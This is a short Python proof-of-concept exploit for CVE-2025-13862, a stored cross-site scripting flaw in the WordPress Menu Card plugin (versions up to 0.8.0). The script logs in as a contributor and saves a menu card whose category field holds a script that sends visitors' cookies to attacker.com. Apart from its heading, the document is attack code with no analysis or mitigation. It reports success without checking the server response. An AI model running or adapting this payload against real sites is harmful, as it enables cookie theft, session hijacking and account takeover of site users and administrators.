CVE-2025-13862

import requests import sys # CVE-2025-13862 PoC - WordPress Menu Card Plugin Stored XSS # Target: WordPress site with Menu Card plugin <= 0.8.0 target_url = "http://target-wordpress-site.com" username = "attacker_contributor" password = "attacker_password" session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": f"{target_url}/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Create menu card with XSS payload in category parameter admin_url = f"{target_url}/wp-admin/admin.php?page=menu-card" # XSS payload - can steal cookies or perform other malicious actions xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' menu_card_data = { "action": "save_menu_card", "category": xss_payload, "menu_name": "Test Menu", "menu_items": "Test Item" } response = session.post(admin_url, data=menu_card_data) # Step 3: Trigger XSS by accessing the page containing the malicious category print(f"[+] XSS payload injected successfully") print(f"[+] Payload: {xss_payload}") print(f"[+] Visit affected page to trigger the stored XSS")

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